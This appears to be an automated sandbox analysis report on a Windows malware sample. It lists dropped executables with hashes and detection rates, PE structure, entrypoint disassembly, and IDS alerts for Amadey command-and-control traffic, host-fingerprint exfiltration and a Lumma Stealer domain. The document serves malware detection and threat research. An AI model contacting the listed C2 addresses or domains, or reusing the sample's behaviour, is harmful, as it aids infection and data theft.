Preview:	XM .4Ih..]...t.&.s...v.0{.v.vs'...:.l.h...e.....R....1...r.R+Fk....~.s.....Q.....r.T.b.....~c..[........;...j.@.0.%.....x...v.w.....<ru....Yre;.b6...HQ-...8.B..Q.a...R.:.h&r.......=.;r.k..T.@....l..;#..3!.O..x.}........y'<.GfQ.K.#.L5v..].......d....N{e..@................A\..<.t.u.X.O.n..Z.. .Xb.O<.Z...h~.(.W.f.z.V.4..L...%5.0...H..`s...y.B......(IL5s:aS}X.......M9.J.o....).'..M;n6]...W..n....)...L...._..e.....>....[....RA.........'...6.N..g6....IY.%h.. 3r....^..\.b~y./....h.2......ZLk....u}..V..<.fbD.<!.._2.zo..IE...P..O...u......P.......w#.6N..&l.R}GI...LY...N.yz..j..Hy.'..._.5..Pd9.y..+....6.q...).G.c...L#....5\.M....5U])....U(..~H.m....Y....G1.r.4.B..h........P..]i...M%.............)q......]....~\|..j...b..K!..N.7R.}T.2bsq..1...L^..!.\|q.D'...s.Ln...D@..bn%0=b.Q1.....+l...QXO\|.......NC.d......{.0....8F.....<.W.y..{o..j.3.....n..4.....eS]. K...o.B.H~.sh.1....m8....6{.ls..R..q..~....w._;....X*.#..U....6n.ODbT.+Zc....q....S.$-S`YT....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1990144
Entropy (8bit):	7.934391605242594
Encrypted:	false
SSDEEP:	24576:is1z360xvZO1tdPFRKAykTASgVtAXOw7W90BiIcYXOovl+ydbiIFRP0KjaJb4iJO:nLw7dr7ItuZWobc61tbHFRFG4Sy6U
MD5:	054B1E771A301C1E792397A683ED0A90
SHA1:	EB209469E0B66A485B135012CF43538CEB9DC96C
SHA-256:	6B2391A7841833A3524F5034B7287E55F4C8FBEC8678ECF7A6040ADA9C07FDE1
SHA-512:	23317DCAF76CC1A9DC6C3DC5E551C88905163625617ABC7AA389255DD17EE9CA330303521FABFB91C3A33BF1C2A650F2935A7A047EADF1814EA60E2EC387275E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!J..@$..@$..@$......@$......@$......@$..._..@$..@%..@$......@$......@$......@$.Rich.@$.........PE..L......d.............................`............@.........................................................................Z.B.n.....@.h!.......................................................................................................... . ..@......T..................@....rsrc...h!....@......d..............@....idata ......B.....................@... ..).. B.....................@...whvqijov.@....l..:..................@...ikwniflt.....P.......6..............@....taggant.0...`..."...<..............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1990144
Entropy (8bit):	7.934391605242594
Encrypted:	false
SSDEEP:	24576:is1z360xvZO1tdPFRKAykTASgVtAXOw7W90BiIcYXOovl+ydbiIFRP0KjaJb4iJO:nLw7dr7ItuZWobc61tbHFRFG4Sy6U
MD5:	054B1E771A301C1E792397A683ED0A90
SHA1:	EB209469E0B66A485B135012CF43538CEB9DC96C
SHA-256:	6B2391A7841833A3524F5034B7287E55F4C8FBEC8678ECF7A6040ADA9C07FDE1
SHA-512:	23317DCAF76CC1A9DC6C3DC5E551C88905163625617ABC7AA389255DD17EE9CA330303521FABFB91C3A33BF1C2A650F2935A7A047EADF1814EA60E2EC387275E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!J..@$..@$..@$......@$......@$......@$..._..@$..@%..@$......@$......@$......@$.Rich.@$.........PE..L......d.............................`............@.........................................................................Z.B.n.....@.h!.......................................................................................................... . ..@......T..................@....rsrc...h!....@......d..............@....idata ......B.....................@... ..).. B.....................@...whvqijov.@....l..:..................@...ikwniflt.....P.......6..............@....taggant.0...`..."...<..............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1832448
Entropy (8bit):	7.948367811501745
Encrypted:	false
SSDEEP:	49152:L1mIPcOWjN7v3Ga6hokN3NLz8KkylxR3LdJwvw:L1mIPH8Nut3Z//3Ld+
MD5:	73F9C0001107EB1B3AAB6549C6574F7F
SHA1:	92F5D81090D2CB7FF8BE9764E7B69DCA16BA44DA
SHA-256:	D1F439CD24726A4ED6001304EA33E413856A7242292F750088E66696BB5AECAA
SHA-512:	4026D6B9ECB2AAFBB293533EE6221C2B3DC4D1BCFCD5CBEC28275E1848B586139BA790CBB7446F9F33E256A9D67282F09586774018236592FE6C103CF9DC7E9C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Ug..............................H...........@...........................H...........@.................................\@..p....0.......................A...................................................................................... . . .......B..................@....rsrc........0.......R..............@....idata .....@.......V..............@... ..)..P.......X..............@...sbjgrbkb.....0/..v...Z..............@...biqspjfj......H.....................@....taggant.0....H.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013607001\e051bdf457.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1801728
Entropy (8bit):	7.943746327821909
Encrypted:	false
SSDEEP:	49152:NC3dgqyRY1d1NYSRu6+dNOpwPSmf9QlPT:4dgNRYX25rSmf2l
MD5:	E814098146A7D5BB6910F684D24DDDA7
SHA1:	3AC620FF3AE684E4D614FFB27821D8301F973A84
SHA-256:	8BD7B0662ECB72EB60B3AE68A0534ACB4A787263A37A619A48BC7A2186C4415D
SHA-512:	7D3DCED81670B6E318E77057BBAD45D5D7D4015F08BA0548E0F52766BF6EC2D874990A2C5003F5C2D48A39801D6C5C5FE26B85CC120B2AB77A7C8F4166588C99
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........i...........@..........................@i.....J'....@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... .`*...$......\|..............@...dnuvwdxn..... O......~..............@...nviifddd......i......X..............@....taggant.0....i.."...\..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013608001\ba17bbfb21.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	968192
Entropy (8bit):	6.698584631681327
Encrypted:	false
SSDEEP:	24576:wqDEvCTbMWu7rQYlBQcBiT6rprG8aZFT/:wTvC/MTQYxsWR7aZt
MD5:	CD6FBD133B166F011EE0459DAB795A09
SHA1:	8AEAA235E3210F51F69D2E582157A90DFDC4CBFF
SHA-256:	372B4CEE4013A85A973AA26F426EDCC974B88C34DF77B867622CA294BDA3A638
SHA-512:	2B62C881A7306FE5C718E081A7BE0C1A7ECC3C1D3D7FDDAC41C93919B95E08232E32BB736C148CC41D2280EAD149810D31729CA505A4DAB6118CC34466DFBFCB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....Wg..........".................w.............@.......................... ......v6....@...@.......@.....................d...\|....@...Z.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc....Z...@...\..................@..@.reloc...u.......v...P..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1013609001\734386a52c.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2800128
Entropy (8bit):	6.51026276468541
Encrypted:	false
SSDEEP:	49152:Gfh083818wsoM6kIud4kdOS/eEoyGlyT2E6Tw:4h08a81R6kIudXdOS/Eu2E6w
MD5:	10BB282A6A510155AF521185A136C32D
SHA1:	B0CDDBAFC0067A12A2E956719E31379DBA526175
SHA-256:	FB4563DF189C1A024633917A3DDB4BA58495FE4929CD1A71A955ABFDADC5CE3C
SHA-512:	E35B9AE296A83DB15165687C9A3C1E3BAE30EC56D94787E11DD5E8BC3D2A15FE6BDC0CEE4B65A56D77EFC2DB7B7383E1579DBF6088C141D89433ECE5AAAD8CBC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... +.. ...`....@.. .......................`+.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...pzmyaaxr.`......Z..:..............@...wkcwmztw. ....+....................@....taggant.@... +..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3296768
Entropy (8bit):	6.634766705896848
Encrypted:	false
SSDEEP:	49152:8JEY62WSKePgawimNdQ6i4+n4kJtV6lw8VL:s6XSKeoawimNdQa04kjV61L
MD5:	326AD6C04A850BB9BA3CE77D62DF16E9
SHA1:	0368902CB7250E0AEF40B8D67606234D5934F5FD
SHA-256:	A4E844FF190E6BB8C0AFAB32F76630758D7B196AE40062765AB8FF457BF1B9B3
SHA-512:	E886E5EA85CE951E89B534EDF82F2025C99EA7775C7A35AD66FAA005E1CDB66B0634ED61EF4186E68CA555771E5F45C6419B9D6026FD472D38C6D8C6B10AF142
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................`2...........@...........................2.....2.2...@.................................W...k............................A2.............................xA2..................................................... . ............................@....rsrc...............................@....idata ............................@...frfapimt..+.......+.................@...qtisgtef.....P2......(2.............@....taggant.0...`2.."...,2.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	11781
Entropy (8bit):	5.464293681241579
Encrypted:	false
SSDEEP:	192:2nPOeRnLYbBp6JJ0aX+H6SEXK5NKof5RHWNBw8dFSl:8De0JUasKCHEwu0
MD5:	67C402C1EE1CFE273237414D57523BF1
SHA1:	5FCC21D30EAEFBCCE3348D6CA79E823DD777928B
SHA-256:	2830991DCCF0A5204B6916051C513A8B9D4A3E1F5BAC3FA3A8B39BF6C0BEBE8A
SHA-512:	8D39FB67D3A928778A5589670EAD3B35976E3F961CBE236527C666114CB4DAF74D047F524244BF44A9FDAFA78571A28CB6D3481A05BBD3812C7BE175D945BD12
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1733809323);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	11781
Entropy (8bit):	5.464293681241579
Encrypted:	false
SSDEEP:	192:2nPOeRnLYbBp6JJ0aX+H6SEXK5NKof5RHWNBw8dFSl:8De0JUasKCHEwu0
MD5:	67C402C1EE1CFE273237414D57523BF1
SHA1:	5FCC21D30EAEFBCCE3348D6CA79E823DD777928B
SHA-256:	2830991DCCF0A5204B6916051C513A8B9D4A3E1F5BAC3FA3A8B39BF6C0BEBE8A
SHA-512:	8D39FB67D3A928778A5589670EAD3B35976E3F961CBE236527C666114CB4DAF74D047F524244BF44A9FDAFA78571A28CB6D3481A05BBD3812C7BE175D945BD12
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1733809323);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.4209837530016207
Encrypted:	false
SSDEEP:	6:hDjQVX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lH7zt0:hDSuQ1CGAFifXVH7zt0
MD5:	6429C0938E5BFCBD8A79B5DACD0355C3
SHA1:	309D815BE0689AB6EA6D315269F95C419707FFF1
SHA-256:	BB93ADB8F68E17E1CC96159A67AE6D8D67F403DA1EC851DF96E3CB4084CD6B75
SHA-512:	F7D262B7F726E11289F6067E98705633C42DFD03E32F0ADBA53C0B0670991566558D16257517B831311A47E7CD92FAEB7D94A689FECCA05E30F3BB3940197A67
Malicious:	false
Preview:	....?.K.F..O..o....F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.634766705896848
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'296'768 bytes
MD5:	326ad6c04a850bb9ba3ce77d62df16e9
SHA1:	0368902cb7250e0aef40b8d67606234d5934f5fd
SHA256:	a4e844ff190e6bb8c0afab32f76630758d7b196ae40062765ab8ff457bf1b9b3
SHA512:	e886e5ea85ce951e89b534edf82f2025c99ea7775c7a35ad66faa005e1cdb66b0634ed61ef4186e68ca555771e5f45c6419b9d6026fd472d38c6d8c6b10af142
SSDEEP:	49152:8JEY62WSKePgawimNdQ6i4+n4kJtV6lw8VL:s6XSKeoawimNdQa04kjV61L
TLSH:	66E54C52A80562CFE44FAB785527CD8268DF03B91F304DD3986E74BA7EA3CC115B6D28
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x726000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F1BE4E3138Ah
cvttps2pi mm6, qword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x388	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3241c8	0x10	frfapimt
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x324178	0x18	frfapimt
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x68000	55b7a1c4efc1df1da629beccc9eb4b9c	False	0.5592792217548077	data	7.092808136704337	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x388	0x400	514f5782f497fa171df6168314823de0	False	0.453125	data	5.340697973950139	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
frfapimt	0x6b000	0x2ba000	0x2b9200	93e3d9a63e09b995a22b6eb93ef7c07a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qtisgtef	0x325000	0x1000	0x400	3544207613a3dcad40673a4c02215fc2	False	0.74609375	data	5.957572197834798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x326000	0x3000	0x2200	2f8681879d358182f7125c24410c00e6	False	0.09110753676470588	DOS executable (COM)	1.1537636786936518	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x198	ASCII text, with CRLF line terminators			0.5808823529411765
RT_MANIFEST	0x69208	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-10T05:10:05.983317+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49821	185.215.113.43	80	TCP
2024-12-10T05:10:10.445728+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49833	31.41.244.11	80	TCP
2024-12-10T05:10:16.207393+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49828	TCP
2024-12-10T05:10:17.551497+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49849	185.215.113.43	80	TCP
2024-12-10T05:10:19.010506+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49855	185.215.113.16	80	TCP
2024-12-10T05:10:25.379608+0100	2057921	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)	1	192.168.2.5	54969	1.1.1.1	53	UDP
2024-12-10T05:10:26.436296+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49868	185.215.113.43	80	TCP
2024-12-10T05:10:26.827527+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49872	104.21.64.1	443	TCP
